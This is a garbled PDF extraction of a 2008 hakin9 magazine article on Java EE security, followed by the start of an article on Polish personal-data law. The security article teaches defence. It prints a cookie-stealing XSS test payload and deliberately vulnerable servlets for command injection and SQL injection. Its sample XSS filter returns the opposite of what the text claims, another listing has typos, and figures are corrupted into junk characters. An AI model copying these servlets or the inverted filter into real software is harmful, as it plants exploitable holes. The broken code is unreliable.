tości parametru na stronie interne-
towej. Po dokonaniu zapytania stro-
na wykonuje podany kod. Przykłado-
wo, aby zwrócić wartość ciasteczek,
wystarczy przekazać do servletu na-
stępujący kod:
<script>alert(docume
nt.cookie)</script>
. Błąd ten pozwa-
la na kradzież sesji, co może dopro-
wadzić do kompromitacji całego sys-
temu – jeżeli została przejęta sesja
użytkownika z prawami administrato-
ra. Kod programu podatnego na XSS
przedstawiony jest na Listingu 1.
Postanowiłem nie przedstawiać
dodatkowego kodu HTML, ponieważ
każdy powinien sobie poradzić z na-
pisaniem odpowiedniej strony. Nasz
program pobiera wartość parametru
no _ filter
i wyświetla ją na nowej stro-
nie. Widzimy, że w programie nie ma
żadnej filtracji przekazywanych da-
nych (co zdarza się bardzo często)
i gdyby program był bardziej zaawan-
sowany (sesje, Cookies), to jego kom-
promitacja nie byłaby trudna. Aby po-
radzić sobie z XSS, należy filtrować
każdą zmienną, do której użytkownik
ma dostęp. Możemy pisać własny filtr
od podstaw (patrz Listing 2) lub wyko-
rzystać gotowe, przetestowane i bez-
pieczne klasy napisane przez innych
programistów. Listing 2 przedstawia
bazową wersję kodu, który przepro-
wadza walidację danych wprowadzo-
nych przez użytkownika na stronie.
Kod jest wyjątkowo prosty i wymaga
dodania wielu warunków. Funkcja vali-
dation() zwraca logiczną wartość true,
jeżeli walidacja danych przebiegła po-
myślnie (brak kodu JavaScript), a war-
tość false, gdy wprowadzono niebez-
pieczne dane. Zasada działania pro-
gramu jest bardzo prosta – sprawdza
on, czy w przekazanym przez użyt-
kownika ciągu znaków występuje ciąg
<script
. Funkcja przechwytuje także
ewentualne błędy, powstałe np. pod-
czas odwoływania się do żądania wy-
słanego przez użytkownika. Jeżeli nie
mamy czasu na pisanie swojego filtru,
to proponuję zapoznać się z kawał-
kiem kodu opracowanym przez Jose-
pha O’Conella, który można ściągnąć
ze strony (6).
Wstrzykiwanie poleceń
Z poziomu Javy możemy wywoły-
wać także inne procesy. Swobodny
dostęp do innych programów pozwa-
la nam np. na korzystanie z dobro-
dziejstw języków skryptowych czy na-
rzędzi wbudowanych w system ope-
racyjny. Istnieje jednak duże ryzyko,
że jeżeli użytkownik zewnętrzny bę-
Zalety JEE
Czyli dlaczego coraz więcej firm decyduje się na Javę:
• Niskie koszty – Java posiada otwartą architekturę, co w dużym stopniu obniża koń-
cowe koszty poprzez zniwelowanie kosztów licencji.
• Otwartość standardów – JEE jest otwartym zbiorem standardów, którego osta-
teczny wygląd może ulegać zmianie nie tylko w wyniku działań twórcy (Sun).
• Model bezpieczeństwa – Java oferuje rozbudowany system bezpieczeństwa, ofe-
rujący mechanizmy wspomagające autoryzację użytkowników, kryptografię czy
określanie dostępu do odpowiednich zasobów.
• Przenośność – aplikacje pisane w Javie możemy uruchomić na dowolnym syste-
mie operacyjnym. Pozwala to na wybieranie lepszych rozwiązań i uniezależnienie
się od konkretnych produktów.
• Duża baza bibliotek – jeżeli nie możemy znaleźć odpowiedniej funkcji w standar-
dowych zbiorach bibliotek, zawsze możemy liczyć na duże wsparcie innych pro-
gramistów udostępniających swoje rozwiązania na licencji open source.
Servlety i JSP
• Servlet – jest to niewielki program napisany w Javie działający po stronie serwera,
pozwalający na dodawanie dynamicznej zawartości na strony WWW. Servlety po-
wstały w odpowiedzi na takie języki, jak PHP czy ASP.NET. Działają na zasadzie od-
powiedzi na zapytania przesyłane przez użytkownika (request-response). Mają peł-
ny dostęp do pozostałych elementów języka. Mogą być dynamicznie generowane
przez JSP.
• JSP (Java Server Pages) – jest to technologia bardzo podobna do servletów. Tak-
że pozwala na dynamiczną generację treści na stronach internetowych. W przy-
padku JSP kod Java jest wpleciony w kod HTML. JSP podczas wykonywania są
tłumaczone na servlety.
Rysunek 1.
HTTPLiveHeaders w akcji
Bezpieczna Java
hakin9 Nr 3/2008
www.hakin9.org
65
dzie miał dostęp do parametrów wy-
wołania nowego procesu, to poziom
bezpieczeństwa naszego programu
drastycznie spadnie. Aby lepiej zo-
brazować problem, należy prześle-
dzić Listing 3. Tworzymy tam nowy
proces, kontrolę nad którym w pełni
oddajemy użytkownikowi. Nawet, je-
śli zapewnimy naszej aplikacji świet-
ny system weryfikacji użytkowników,
to przydzielenie tak dużych upraw-
nień jest rażącym błędem. Atakują-
cy może uruchomić na naszym ser-
werze dowolny program z dowolnymi
parametrami wejściowymi i uzyskać
niekontrolowany dostęp do chronio-
nych zasobów.
Kod na Listingu 3. obrazuje jesz-
cze jeden dość częsty błąd progra-
mistyczny. W wielu przypadkach se-
rvlety w razie wystąpienia ewentual-
nych błędów zwracają na ekran stos
wywołań. Przykładowy kod został
zamieszczony w sekcji catch(). Mo-
żemy z niego odczytać wiele przy-
datnych informacji, takich jak: na-
zwy funkcji, klasy czy nazwy pliku,
w którym wystąpił błąd. Wszystkie
te informacje mogą pomóc w pozna-
niu wewnętrznej struktury aplikacji
i umożliwić sprawniejszy atak. Na-
leży pamiętać, aby za wszelką ce-
nę chronić treść wewnętrznych mo-
nitów programu przed użytkownika-
mi końcowymi.
SQL Injection
Myślę, że termin SQL Injection jest
wszystkim dobrze znany. Dla przypo-
mnienia napiszę, że jest to błąd wy-
nikający z niepoprawnego filtrowania
danych przekazywanych przez użyt-
kownika, w następstwie czego mo-
dyfikowane są zapytania do bazy
danych. Jako, że większość aplikacji
pisanych w JEE operuje na danych
umieszczonych w bazach danych to
błędy SQLI są bardzo popularne. Na
Listingu 4 przedstawiony jest przy-
kład kodu podatnego na SQL Injec-
tion. Symuluje on prosty system lo-
gowania wykorzystujący sterow-
nik JDBC. Zmienne przekazywane
przez użytkownika nie są w żaden
sposób filtrowane i mogą być przy-
czyną ataków na nasz system. Uży-
wając znanych sztuczek, o których
nie warto pisać po raz setny, można
oszukać program i uzyskać nieauto-
ryzowany dostęp do zasobów. W tym
momencie warto zastanowić się czy
istnieje prosta metoda zapobiegania
takim sytuacjom.
Odpowiedź jest jak zwykle jed-
noznaczna. Programiści opraco-
wali techniki, które automatycznie
filtrują zmienne wysyłane do na-
szej aplikacji i unieszkodliwiają nie-
bezpieczne znaki (‘, *, /, itd.). Na
Listingu 5. pokazana jest najlep-
sza metoda na uniknięcie błędów
SQLI, czyli użycie tzw. Prepared
Statements. Prepared Statements
automatycznie dodają tzw. zna-
ki ucieczki do zapytań SQL, któ-
re uniemożliwiają (a przynajmniej
utrudniają) atak. Jeżeli korzystamy
z zaawansowanych frameworków
odpowiedzialnych za dostęp do ba-
zy danych (np. popularny Hiberna-
te), nie musimy martwić się o taką
filtrację zapytań. Jest ona dokony-
wana automatycznie.
Listing 2.
Podstawa naszego filtru przeciwko XSS
public
boolean
validation
(
HttpServletRequest
request
,
String
param
)
{
try
{
String
parameter
=
request
.
getParameter
(
param
)
;
if
(
parameter
.
indexOf
(
"<script"
)
!=
-
1
)
{
return
true
;
}
}
catch
(
Exception
e
)
{}
//lapiemy wyjatek, przeprowadzamy stosowne
dzialania – logowanie bledu, ewentualny monit
return
false
;
}
Listing 3.
Wstrzykiwanie poleceń
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
public
class
ReqVuln
extends
HttpServlet
{
public
void
doGet
(
HttpServletRequest
request
,
HttpServletResponse
response
)
throws
ServletException
,
IOException
{
response
.
setContentType
(
"text/html"
)
;
PrintWriter
out
=
response
.
getWriter
()
;
out
.
println
(
"<HTML>"
)
;
out
.
println
(
"<HEAD><TITLE>ReqVul</TITLE></HEAD>"
)
;
out
.
println
(
"<BODY>"
)
;
String
program
=
request
.
getParameter
(
"no_filter"
)
;
// przek.
parametru
out
.
println
(
"Running program: "
+
program
)
;
try
{
Runtime
runtime
=
Runtime
.
getRuntime
()
;
//uruchamiamy program
Process
process
=
runtime
.
exec
(
program
)
;
}
catch
(
Exception
e
)
{
//stos wywolan
for
(
StackTraceElement
ste
:
e
.
getStackTrace
())
out
.
println
(
ste
.
getMethodName
())
;
}
out
.
println
(
"</BODY></HTML>"
)
;
}
public
void
doPost
(
HttpServletRequest
request
,
HttpServletResponse
response
)
throws
ServletException
,
IOException
{
doGet
(
request
,
response
)
;
}
}
hakin9 Nr 3/2008
www.hakin9.org
Obrona
66
Błędy żądań
Czyli tzw. Request Bugs. Przy pro-
jektowaniu zaawansowanych syste-
mów biznesowych należy pamiętać,
że atakujący jest w stanie zmie-
nić praktycznie każdy parametr
wywołania naszej strony. Jeżeli po-
bieramy standardowe informacje z
naszej witryny, takie jak nagłówek,
wykorzystywany protokół, ciastecz-
ka czy nazwę przeglądarki, należy
zawsze mieć na uwadze możliwość
ich modyfikacji przez atakującego.
Modyfikacja tych danych jest banal-
nie prosta i możliwa np. przez plugin
HTTPLiveHeaders dla przeglądarki
Firefox. Jeżeli musimy operować na
danych, które mogą być zmienione
w łatwy sposób, musimy zachować
szczególną ostrożność i podjąć od-
powiednie kroki, aby zweryfikować
ich autentyczność.
Błędy związane z
zarządzaniem pamięcią
Błędy związane z nieprawidłowym ma-
nipulowaniem pamięcią w Javie są nie-
słychanie ciekawe i kontrowersyjne.
Z jednej strony można mówić, że Java
jest językiem zapewniającym zaawan-
sowaną kontrolę pamięci i nie moż-
na przeprowadzić ataków typu buffer
overflow na aplikacjach pisanych w Ja-
vie. Z drugiej strony, nie jest to do końca
prawdą i warto poznać sytuacje, w któ-
rych atak na bufor jest możliwy.
Prawdą jest, że aplikacje pisane
w całości w Javie są bezpieczne
i dzięki zarządzaniu pamięcią, rozbu-
dowanemu systemowi wyjątków i au-
tomatycznemu usuwaniu niepotrzeb-
nych obiektów (Garbage Collector)
większość błędów związanych z pa-
mięcią, a znanych choćby z C++, jest
wyeliminowana. Zdarza się jednak,
że programiści pisząc duże projek-
ty wykorzystują tzw. Java Native In-
terface (JNI) w celu użycia kodu na-
pisanego w innym języku. JNI pozwa-
la nam na współpracę z bibliotekami
napisanymi w takich językach, jak C,
C++ czy Asembler, które niestety nie
słyną z bezpieczeństwa. Co więcej,
kod wykonywany w ramach JNI nie
podlega weryfikacji przez mechani-
zmy bezpieczeństwa zaimplemento-
wane w Javie. Jeżeli w kodzie napisa-
nym w C++ istnieje podatność, to jest
ona automatycznie przenoszona do
naszego programu pisanego w Javie.
Analizując strukturę atakowanej apli-
kacji, zawsze musimy dopuszczać
możliwość istnienia niebezpiecznych
bibliotek pochodzących z innych języ-
Listing 4.
Kod podatny na SQL Injection
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;
public
class
SQLIncjection
extends
HttpServlet
{
public
void
doGet
(
HttpServletRequest
request
,
HttpServletResponse
response
)
throws
ServletException
,
IOException
{
response
.
setContentType
(
"text/html"
)
;
PrintWriter
out
=
response
.
getWriter
()
;
out
.
println
(
"<HTML>"
)
;
out
.
println
(
"<HEAD><TITLE>SQLInjection</TITLE></HEAD>"
)
;
out
.
println
(
"<BODY>"
)
;
String
user
=
request
.
getParameter
(
“
user
”
)
;
//podanie usera
String
password
=
request
.
getParameter
(
“
password
”
)
;
//podanie hasla
try
{
Connection
conn
=
DriverManager
.
getConnection
(
"jdbc:mysql://localhost/
USERNAME?user=USERNAME&password=PASSWORD"
)
;
//
polaczenie z baza
Statement
stmt
=
conn
.
createStatement
()
;
String
sql
=
"select * from usernames where username='"
+
user
+
"'
and password='"
+
password
+
"'"
;
//zapytanie SQL
ResultSet
rs
=
stmt
.
executeQuery
(
sql
)
;
//wywolanie zapytania
if
(
rs
.
next
())
{
out
.
println
(
"Zalogowano"
)
;
}
else
{
out
.
println
(
"Blad"
)
;
}
rs
.
close
()
;
stmt
.
close
()
;
conn
.
close
()
;
}
catch
(
SQLException
e
)
{
out
.
println
(
"Message: "
+
e
.
getMessage
())
;
}
}
}
Przekazywanie danych do servletu
W celu lepszego zrozumienia błędów występujących w servletach należy zrozumieć
sposób przekazywania danych do servletu przez użytkownika zewnętrznego. W pro-
gramach przedstawionych w tym artykule dane są pobierane za pomocą funkcji
reque
st.getParameter("nazwa-elementu")
. Skąd są pobierane? Oczywiście z powiązanej
strony z następującym, standardowym kodem HTML:
<FORM ACTION="nazwa-servletu">
Wpisz dane: <INPUT TYPE="TEXT" NAME="nazwa-elementu"><BR>
<INPUT TYPE="SUBMIT">
</FORM>
W zależności od sposobu przekazywania parametrów (POST, GET) w naszym servle-
cie uruchamiana jest odpowiednia funkcja (
doPost
,
doGet
).
Bezpieczna Java
hakin9 Nr 3/2008
www.hakin9.org
67
ków. Jest to poważny błąd, który dra-
stycznie zmniejsza bezpieczeństwo
aplikacji.
Inne typy błędów
Błędy w aplikacjach pisanych pod
JEE mogą być różnorodne, a ich licz-
ba nie jest stała i z góry ustalona.
Oprócz błędów opisanych w tym ar-
tykule istnieje cały szereg mniej po-
pularnych i rzadszych nieprawidłowo-
ści w kodzie programu. Mogą to być
np. błędy spowodowane użyciem sła-
bych technik kryptograficznych. Je-
żeli zdecydowaliśmy się na pisanie
własnych, niepowtarzalnych algoryt-
mów lub przechowujemy hasła w po-
staci niezaszyfrowanej, to – niestety
– nie możemy liczyć na wysoki po-
ziom bezpieczeństwa. Często zdarza
się także, że systemy uwierzytelnia-
jące w JEE są zbyt skomplikowane,
a utrzymywanie i konserwacja spra-
wiają niemałe kłopoty. Pamiętajmy,
że oprócz bezpiecznej strategii liczy
się także prostota i przejrzystość. Ist-
nieje także cały szereg błędów zwią-
zanych z optymalizacją i odpowiedni-
mi zabezpieczeniami przed atakami
DoS i floodingiem, ale jest to osobny
temat, który – mam nadzieję – uda mi
się kiedyś poruszyć.
Podsumowanie
Powyższy artykuł miał za zadanie zain-
teresować Was tematyką mniej popu-
larnych języków programowania. War-
to zainteresować się innymi technolo-
giami i nie ograniczać się do stron pisa-
nych tylko i wyłącznie w PHP. W pracy
będziemy musieli przeprowadzać au-
dyt dla różnych klientów i nigdy nie bę-
dziemy wiedzieć, z jaką technologią się
spotkamy. Myślę także, że lepiej praco-
wać na zlecenie dużej firmy, której apli-
kacje tworzone są w JEE, niż przepro-
wadzać kontrolowane ataki na śred-
niej wielkości strony pisane w PHP.
Z uwagi na ogrom zagadnień związa-
nych z bezpieczeństwem JEE nie mia-
łem technicznej możliwości opisania
wszystkich rodzajów błędów i najcie-
kawszych zagadnień. Mam jednak na-
dzieję, że zainteresowałem Was tą te-
matyką i będziecie kontynuować naukę
we własnym zakresie. Przedstawione
techniki przydadzą się zarówno pro-
gramistom piszącym w JEE do opraco-
wania odpowiednich zabezpieczeń, jak
i będą pomocne specjalistom ds. bez-
pieczeństwa w przygotowaniu należy-
tego wektora ataku. l
Listing 5.
Logowanie za pomocą tzw. Prepared Statements
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;
public
class
SQLIncjection
extends
HttpServlet
{
public
void
doGet
(
HttpServletRequest
request
,
HttpServletResponse
response
)
throws
ServletException
,
IOException
{
response
.
setContentType
(
"text/html"
)
;
PrintWriter
out
=
response
.
getWriter
()
;
out
.
println
(
"<HTML>"
)
;
out
.
println
(
"<HEAD><TITLE>SQLInjection to przeszlosc</TITLE></HEAD>"
)
;
out
.
println
(
"<BODY>"
)
;
String
user
=
request
.
getParameter
(
“
user
”
)
;
//podanie usera
String
password
=
request
.
getParameter
(
“
password
”
)
;
//podanie hasla
try
{
Connection
conn
=
DriverManager
.
getConnection
(
"jdbc:mysql://localhost/
USERNAME?user=USERNAME&password=PASSWORD"
)
;
String
sql
=
"
select
*
from
usernames
where
username
=
?
and
password
=
?”
;
PreparedStatement
prep
=
Conn
.
prepareStatement
(
sql
)
;
//przygotowanie
zapytania
prep
.
setString
(
1
,
user
)
;
prep
.
setString
(
2
,
password
)
;
ResultSet
rs
=
prep
.
executeQuery
()
;
//wywolanie zapytania
if
(
rs
.
next
())
{
out
.
println
(
"Zalogowano"
)
;
}
else
{
out
.
println
(
"Blad"
)
;
}
rs
.
close
()
;
prep
.
close
()
;
conn
.
close
()
;
}
catch
(
SQLException
e
)
{
out
.
println
(
"Message: "
+
e
.
getMessage
())
;
}
O autorze
Piotr Łaskawiec, student Informatyki
Stosowanej na Politechnice Krakow-
skiej. Założyciel i przewodniczący Ko-
ła Naukowego PK IT Security Group
(www.pkitsec.pl). Od wielu lat związa-
ny z tematyką bezpieczeństwa kompu-
terowego. Pasjonat języka Python. W
wolnych chwilach programuje i zajmu-
je się publicystyką.
Kontakt z autorem:
hellsource@gmail.com
W Sieci
• http://java.sun.com – strona główna
Javy,
• http://tomcat.apache.org – strona
domowa serwera Tomcat,
• http://www.eclipse.org – Eclipse IDE,
• http://java.sun.com/javaee – strona
JavaEE,
• http://java.sun.com/javase/
technologies/securit – Java Security,
• http://josephoconnell.com/java/
xss-html-filter.
www.hakin9.org
hakin9 Nr 3/2008
68
Bezpieczna Firma
Z
agadnienie bezpieczeństwa systemów
informatycznych, w których przetwa-
rza się dane osobowe, nabiera coraz
większego znaczenia, ponieważ zakres takie-
go przetwarzania staje się coraz szerszy. Pod
pojęciem bezpieczeństwa teleinformatyczne-
go danych osobowych należy rozumieć ochro-
nę poufności, rozliczalności i integralności
danych osobowych, które przetwarza się
w systemie informatycznym.
Za
bezpieczeństwo
przetwarzania
danych osobowych w systemie informatycz-
nym odpowiada administrator danych. Ad-
ministratorem danych jest organ, jednostka
organizacyjna, podmiot lub osoba, decy-
dująca o celach i środkach przetwarzania
danych osobowych. Bezpieczeństwo teleinfor-
matyczne danych osobowych należy zapew-
nić przed rozpoczęciem oraz w trakcie prze-
twarzania danych osobowych. Podstawowe
zasady zabezpieczenia danych osobowych
określa Rozdział 5 – Zabezpieczenie danych
osobowych ustawy o ochronie danych osobo-
wych. Szczegółowe wymagania techniczne
i organizacyjne związane z przetwarzaniem
danych osobowych w systemach informatycz-
nych oraz zakres dokumentacji przetwarzania
danych osobowych określa Rozporządzenie
Ministra Spraw Wewnętrznych i Administra-
cji w sprawie dokumentacji przetwarzania da-
nych osobowych oraz warunków technicznych
i organizacyjnych, jakim powinny odpowiadać
urządzenia i systemy informatyczne służące
do przetwarzania danych osobowych.
Przepisy prawa nakładają na administra-
tora danych szereg obowiązków. Podstawo-
wym obowiązkiem administratora danych
jest zastosowanie środków technicznych
i organizacyjnych zapewniających ochro-
nę danych osobowych. Zastosowane środ-
ki ochrony, zgodnie z zasadą adekwatno-
Bezpieczeństwo
teleinformatyczne danych
osobowych
Andrzej Guzik
stopień trudności
System informatyczny, w którym przetwarza się dane osobowe,
powinien – oprócz wymagań wynikających z przepisów prawa
– uwzględniać wymagania Generalnego Inspektora Ochrony
Danych Osobowych w zakresie struktur baz danych osobowych
oraz funkcjonalności zarządzających nimi aplikacji.
Z artykułu dowiesz się
• jak zapewnić bezpieczeństwo danym osobo-
wym, które przetwarza się w systemie informa-
tycznym.
Co powinieneś wiedzieć
• znać podstawowe zasady ochrony danych oso-
bowych.
Bezpieczeństwo teleinformatyczne danych osobowych
hakin9 Nr 3/2008
www.hakin9.org
69
ści, powinny zapewniać ochronę
danych osobowych odpowiednią
do zagrożeń oraz kategorii da-
nych objętych ochroną (dane zwy-
kłe bądź dane wrażliwe). Usta-
wa określa następujące zagroże-
nia związane z przetwarzaniem
danych osobowych: udostępnie-
nie osobom nieupoważnionym,
zabranie przez osobę nieupraw-
nioną, przetwarzanie z narusze-
niem ustawy oraz przypadkową
zmianę, utratę, uszkodzenie lub
zniszczenie danych osobowych.
Wśród środków technicznych słu-
żących do ochrony danych oso-
bowych można wymienić środki:
sprzętowe, programowe (oprogra-
mowanie systemowe, użytkowe,
narzędziowe) oraz telekomunika-
cyjne (oprogramowanie urządzeń
teletransmisji). W celu nadzorowa-
nia przestrzegania zasad ochrony
danych osobowych w organizacji
wyznacza się administratora bez-
pieczeństwa informacji (ABI). ABI
odpowiada między innymi za: nad-
zór nad zakresem dostępu osób
upoważnionych do przetwarzania
danych osobowych, nadzór nad
sposobem przetwarzania danych
osobowych w systemach informa-
tycznych, kontrolę zgodności syste-
mu informatycznego z wymagania-
mi określonymi w przepisach prawa
oraz za reakcję na incydenty naru-
szenia bezpieczeństwa danych oso-
bowych.
Administrator bezpieczeństwa
informacji powinien nadzorować,
aby do przetwarzania danych oso-
bowych były dopuszczone wyłącz-
nie osoby posiadające upoważnie-
nie wydane przez administratora
danych. Osoby, które zostały upo-
ważnione do przetwarzania da-
nych osobowych, zobowiązane są
do zachowania w tajemnicy tych
danych oraz sposobów ich zabez-
pieczenia. W jednostce organiza-
cyjnej powinna być prowadzona
ewidencja osób upoważnionych
do przetwarzania danych osobo-
wych. Ewidencja ta powinna za-
wierać między innymi: imię i na-
zwisko osoby upoważnionej, datę
nadania i ustania oraz zakres upo-
ważnienia do przetwarzania da-
nych osobowych (upoważnienie do
zbierania, utrwalania, przechowy-
wania, opracowywania, zmienia-
nia, udostępniania lub usuwania
danych osobowych) oraz identy-
fikator osoby. Dodatkowo admini-
strator danych zobowiązany jest
Przykłady nieprawidłowości przetwarzania danych
osobowych w systemach informatycznych
• nie wyznaczono administratora bezpieczeństwa informacji,
• nie dostosowano systemów informatycznych do wymagań wynikających z przepi-
sów prawa,
• nie opracowano instrukcji zarządzania systemem informatycznym służącym do
przetwarzania danych osobowych,
• nie zastosowano środków technicznych i organizacyjnych zapewniających ochro-
nę danych osobowych,
• nie określono poziomów bezpieczeństwa przetwarzania danych osobowych w
systemach informatycznych,
• nie wydano upoważnień do przetwarzania danych osobowych osobom przetwa-
rzającym dane osobowe w systemie informatycznym,
• nie nadano odrębnych identyfikatorów osobom przetwarzającym dane osobowe w
systemie informatycznym,
• nie zawarto umowy powierzenia przetwarzania danych osobowych,
• nie prowadzono ewidencji osób upoważnionych do przetwarzania danych osobo-
wych,
• nie zgłoszono zbiorów danych osobowych do rejestracji do GIODO,
• nie sporządzano kopii zapasowych,
• nie zapewniono kontroli dostępu do danych osobowych.
Rysunek 1.
Operacje przetwarzania
danych osobowych
���������
����������
��������������
�������������
����������
�������������
��������
��������������
������
����������
Podstawy prawne
• Rozdział 5 – Zabezpieczenie danych osobowych – ustawa z dnia 29 sierp-
nia 1997 r. o ochronie danych osobowych (tekst jedn. Dz. U. z 2002 r. Nr 101,
poz. 926 z późn. zm.).
• Rozporządzenie Ministra Spraw Wewnętrznych i Administracji z dnia 29
kwietnia 2004 r. w sprawie dokumentacji przetwarzania danych osobowych
oraz warunków technicznych i organizacyjnych, jakim powinny odpowiadać
urządzenia i systemy informatyczne służące do przetwarzania danych oso-
bowych (Dz. U. z 2004 r. Nr 100, poz. 1024).
• Rozporządzenie Ministra Spraw Wewnętrznych i Administracji z dnia 29
kwietnia 2004 r. w sprawie wzoru zgłoszenia zbioru do rejestracji General-
nemu Inspektorowi Ochrony Danych Osobowych (Dz. U. z 2004 r. Nr 100,
poz. 1025).
• Zalecenia Generalnego Inspektora Ochrony Danych Osobowych:
• Wytyczne w zakresie opracowania i wdrożenia polityki bezpieczeństwa,
• Wskazówki dotyczące sposobu opracowania instrukcji zarządzania syste-
mem informatycznym, służącym do przetwarzania danych osobowych, ze
szczególnym uwzględnieniem wymogów bezpieczeństwa informacji,
• Wymagania dotyczące struktur baz danych osobowych oraz funkcjonalności
zarządzających nimi aplikacji.
hakin9 Nr 3/2008
www.hakin9.org
Bezpieczna firma
70
zapewnić kontrolę nad tym, jakie
dane osobowe i przez kogo zosta-
ły do zbioru danych wprowadzone
oraz komu zostały przekazane.
Dokumentacja
przetwarzania danych
Na administratorze danych cią-
ży obowiązek opracowania doku-
mentacji opisującej sposób prze-
twarzania danych osobowych oraz
wdrożonych środków technicznych
i organizacyjnych. Na dokumen-
tację przetwarzania danych oso-
bowych składa się polityka bez-
pieczeństwa danych osobowych
oraz instrukcja zarządzania sys-
temem informatycznym służącym
do przetwarzania danych osobo-
wych. Dokumentację opracowu-
je się po przeprowadzeniu analizy
ryzyka z uwzględnieniem warunków
charakterystycznych dla jednostki
organizacyjnej, w której mają być
przetwarzane dane osobowe. Ana-
lizy ryzyka można dokonać stosu-
jąc na przykład metody opisane w
raporcie technicznym ISO/IEC TR
13335-3 Technika informatyczna
– Wytyczne do zarządzania bez-
pieczeństwem systemów informa-
tycznych Część 3: Techniki zarzą-
dzania bezpieczeństwem syste-
mów informatycznych. Raport ten
przedstawia cztery warianty po-
dejścia do analizy ryzyka: podej-
ście podstawowego poziomu bez-
pieczeństwa, podejście nieformal-
ne, szczegółową analizę ryzyka i
podejście mieszane. Podstawo-
wa różnica pomiędzy nimi dotyczy
stopnia szczegółowości analizy
ryzyka. W oparciu o wyniki analizy
ryzyka dobiera się zabezpiecze-
nia. Zastosowane zabezpieczenia
powinny być efektywne kosztowo
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania z ana-
lizy ryzyka. Ryzyko, jakie powstaje
po wprowadzeniu zabezpieczeń,
nazywamy ryzykiem szczątko-
wym.
Polityka bezpieczeństwa da-
nych osobowych powinna zawie-
rać w szczególności dane określo-
ne w Tabeli 1. Przy konstruowaniu
polityki bezpieczeństwa danych
osobowych należy uwzględnić
zalecenia Generalnego Inspekto-
ra Ochrony danych Osobowych
(GIODO) – Wytycznych w zakresie
opracowania i wdrożenia polity-
ki bezpieczeństwa oraz opcjonal-
nie zapisy rozdziału 7.2 - Polityka
bezpieczeństwa instytucji w za-
kresie systemów informatycznych
i Załącznika A – Przykładowy spis
treści polityki bezpieczeństwa in-
stytucji w zakresie systemów infor-
matycznych raportu technicznego
ISO/IEC TR 13335-3.
Instrukcja zarządzania syste-
mem informatycznym służącym
do przetwarzania danych osobo-
wych powinna zawierać w szcze-
gólności dane określone w Tabe-
li 2. Przy konstruowaniu instrukcji
należy uwzględnić zalecenia GIO-
DO - Wskazówki dotyczące sposo-
bu opracowania instrukcji zarzą-
dzania systemem informatycznym,
służącym do przetwarzania da-
nych osobowych, ze szczególnym
uwzględnieniem wymogów bezpie-
czeństwa informacji.
Wymagania systemu
informatycznego
System informatyczny służący do
przetwarzania danych osobowych
powinien charakteryzować się
określoną funkcjonalnością oraz
Tabela 1.
Zawartość dokumentu Polityka bezpieczeństwa danych
osobowych
Lp. Zawartość dokumentu
Polityka bezpieczeństwa danych osobowych
1
Wykaz budynków, pomieszczeń lub części pomieszczeń, tworzą-
cych obszar, w których przetwarzane są dane osobowe
2
Wykaz zbiorów danych osobowych wraz ze wskazaniem programów
zastosowanych do przetwarzania tych danych
3
Opis struktury zbiorów danych wskazujący zawartość poszczegól-
nych pól informacyjnych i powiązania między nimi
4
Sposób przepływu danych pomiędzy poszczególnymi systemami
5
Określenie środków technicznych i organizacyjnych niezbędnych dla
zapewnienia poufności, integralności i rozliczalności przetwarza-
nych danych
Rysunek 2.
Zarządzanie ryzykiem
������
��������������
����������
���������
����������
�������
��������
�����������������
��������������
����������
�����������
������������
����������
��������
������
���������
�����������
�����
��������
�����
����������
�����������
����������
�������
��������
����������
Bezpieczeństwo teleinformatyczne danych osobowych
hakin9 Nr 3/2008
www.hakin9.org
71
umożliwiać sporządzenie i wydruk
raportu dla każdej osoby, której
dane osobowe są przetwarzane
w systemie. System powinien za-
pewniać odnotowanie: daty pierw-
szego wprowadzenia, identyfika-
tora użytkownika, źródła danych,
informacji o odbiorcach oraz
sprzeciwu osoby wobec przetwa-
rzania jej danych w przypadkach
określonych w ustawie.
Przy projektowaniu systemów
informatycznych należy uwzględ-
nić zalecenia GIODO – Wymaga-
nia dotyczące struktur baz danych
osobowych oraz funkcjonalności
zarządzających nimi aplikacji.
Poziomy
bezpieczeństwa
Rozporządzenie Ministra Spraw
Wewnętrznych i Administracji w
sprawie dokumentacji przetwarza-
nia danych osobowych oraz wa-
runków technicznych i organizacyj-
nych, jakim powinny odpowiadać
urządzenia i systemy informatycz-
ne służące do przetwarzania da-
nych osobowych wprowadza trzy
poziomy bezpieczeństwa przetwa-
rzania danych osobowych: podsta-
wowy, podwyższony i wysoki.
Poziom podstawowy
Poziom podstawowy stosuje się,
gdy w systemie informatycznym
nie przetwarza się danych wraż-
liwych (danych ujawniających po-
chodzenie rasowe lub etniczne,
poglądy polityczne, przekonania
religijne lub filozoficzne, przyna-
leżność wyznaniową, partyjną lub
związkową, dane o stanie zdrowia,
kodzie genetycznym, nałogach,
życiu seksualnym, danych doty-
czących skazań, orzeczeń o uka-
raniu, o mandatach karnych, orze-
czeń wydanych w postępowaniu
sądowym lub administracyjnym)
oraz żadne z urządzeń systemu
informatycznego nie jest połączo-
ne z siecią publiczną. Środki bez-
pieczeństwa na poziomie podsta-
wowym określa część A załączni-
ka do rozporządzenia MSWiA.
Na poziomie podstawowym
stosuje się następujące środki
ochrony: administrator danych po-
winien zapewnić fizyczną kontrolę
dostępu do obszaru przetwarzania
danych osobowych określonego w
polityce bezpieczeństwa danych
osobowych oraz logiczną kontro-
lę dostępu do danych przetwarza-
nych w systemie informatycznym,
stosując mechanizm w postaci
odrębnego identyfikatora i ha-
sła do uwierzytelniania użytkow-
ników systemu. Hasła stosowane
do uwierzytelniania użytkowników
powinny składać się z co najmniej
6 znaków i być zmieniane nie rza-
dziej niż co 30 dni. System infor-
matyczny powinien być zabezpie-
czony przed oprogramowaniem
szkodliwym oraz utratą danych
spowodowaną awarią zasilania
lub zakłóceniami w sieci zasilają-
cej. Dane przetwarzane w syste-
mie należy zabezpieczyć wyko-
nując kopie zapasowe – zarówno
zbiorów danych, jak i programów.
Kopie należy przechowywać w
miejscach zabezpieczonych przed
nieuprawnionym przejęciem, mo-
dyfikacją, uszkodzeniem lub znisz-
czeniem (jak najdalej w poziomie
Tabela 2.
Zawartość dokumentu Instrukcja zarządzania systemem
informatycznym służącym do przetwarzania danych osobowych
Lp
Zawartość dokumentu
Instrukcja zarządzania systemem informatycznym
służącym do przetwarzania danych osobowych
1
Procedury nadawania uprawnień do przetwarzania danych i reje-
strowania tych uprawnień w systemie informatycznym oraz wskaza-
